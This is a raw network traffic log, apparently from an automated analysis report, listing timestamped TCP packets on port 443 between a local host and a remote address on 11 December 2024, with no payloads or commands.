Dec 11, 2024 12:14:59.246001959 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.246129036 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.246176958 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.246186018 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.246364117 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.246364117 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.246364117 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.248334885 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.248356104 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.248550892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.248552084 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.248552084 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.248552084 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.248552084 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.248565912 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.248651028 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.250330925 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.250348091 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.250493050 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.250505924 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.250688076 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.250688076 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.250880003 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.252470016 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.252485991 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.252634048 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.252634048 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.252646923 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.252818108 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.253005981 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.253005981 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.254359961 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.254379034 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.254719019 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.254719019 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.254730940 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.254908085 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.254909039 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.256083012 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.256097078 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.256750107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.256750107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.256750107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.256750107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.256750107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.256762981 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.256939888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.258603096 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.258620977 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.258766890 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.258766890 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.258779049 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.258963108 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.258963108 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.260399103 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.260413885 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.260601997 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.260601997 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.260601997 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.260601997 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.260601997 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.260615110 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.260667086 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.262518883 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.262537956 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.262684107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.262695074 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.262876034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.262876034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.262876034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.262876034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.262876034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.265002966 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.265017986 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.265165091 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.265165091 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.265341997 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.265341997 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.265352964 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.266988993 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.267007113 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.267153978 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.267165899 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.267350912 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.267350912 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.268707991 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.268723011 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.269057035 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.269057035 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.269057035 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.269057035 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.269072056 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.270627022 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.270646095 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.270792961 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.270792961 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.270804882 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.270956039 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.270956039 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.270956039 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.270956039 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.273260117 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.273274899 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.273418903 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.273418903 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.273602009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.273602009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.273602009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.273602009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.273612976 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.274364948 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.274431944 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.274525881 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.274525881 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.274533987 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.274718046 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.274718046 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.301040888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.457442999 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.457464933 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.457636118 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.457636118 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.457636118 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.457653999 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.457794905 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.457988977 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.457988977 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.459501982 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.459523916 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.459842920 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.459842920 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.459842920 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.459842920 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.459842920 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.459861040 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.460036993 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.461380959 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.461400986 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.461452007 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.461728096 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.461728096 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.461728096 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.461728096 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.461728096 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.461740971 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.464653015 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.464675903 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.464832067 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.464832067 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.464844942 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.465020895 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.465020895 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.465020895 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.465020895 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.466484070 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.466502905 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.466645002 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.466645002 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.466658115 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.466835976 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.466835976 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.466835976 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.466835976 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.468543053 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.468563080 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.468718052 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.468718052 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.468899012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.468899012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.468899012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.468899012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.468909025 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.470335007 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.470357895 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.470536947 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.470536947 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.470536947 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.470551014 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.470730066 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.470730066 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.472538948 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.472557068 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.472700119 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.472712040 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.472896099 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.472896099 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.472896099 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.474709988 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.474730015 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.474872112 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.475055933 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.475055933 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.475065947 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.476510048 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.476531982 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.476833105 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.476833105 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.476833105 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.476845980 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.478663921 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.478676081 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.478825092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.478825092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.478837967 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.479017973 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.479017973 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.479017973 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.480576992 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.480596066 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.480739117 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.480918884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.480918884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.480918884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.480926991 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.482769966 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.482791901 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.482933044 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.482933044 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.482944965 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.483124971 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.483124971 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.483124971 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.483124971 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.484596968 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.484616995 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.484760046 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.484760046 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.484824896 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.484941006 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.484941006 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.484941006 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.484941006 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.484951019 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.485131979 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.486505032 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.486526966 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.486669064 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.486669064 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.486681938 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.486861944 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.486861944 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.486861944 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.486861944 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.489166975 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.489187002 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.489511967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.489511967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.489511967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.489511967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.489511967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.489528894 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.491136074 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.491158962 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.491301060 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.491312981 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.491493940 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.491493940 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.491493940 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.491493940 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.492811918 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.492830992 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.492975950 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.492975950 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.493160009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.493160009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.493160009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.493160009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.493168116 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.495349884 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.495374918 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.495513916 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.495526075 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.495708942 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.495708942 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.495709896 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.495709896 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.497392893 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.497411966 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.497554064 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.497737885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.497737885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.497737885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.497737885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.497737885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.497749090 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.499243021 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.499264956 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.499404907 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.499416113 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.499598026 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.499598026 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.499792099 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.499792099 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.501087904 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.501106977 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.501250982 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.501250982 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.501435041 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.501435041 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.501435041 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.501445055 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.503386021 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.503405094 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.503550053 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.503561974 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.503739119 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.503739119 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.503739119 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.503739119 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.503739119 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.505356073 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.505372047 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.505515099 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.505697012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.505697012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.505697012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.505697012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.505697012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.505711079 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.507281065 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.507298946 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.507424116 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.507424116 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.507440090 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.507474899 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.507474899 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.507668018 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.507859945 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.509218931 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.509234905 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.509565115 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.509565115 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.509565115 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.509581089 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.509756088 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.511140108 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.511158943 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.511302948 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.511302948 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.511317968 CET	443	49832	172.67.128.139	192.168.11.30
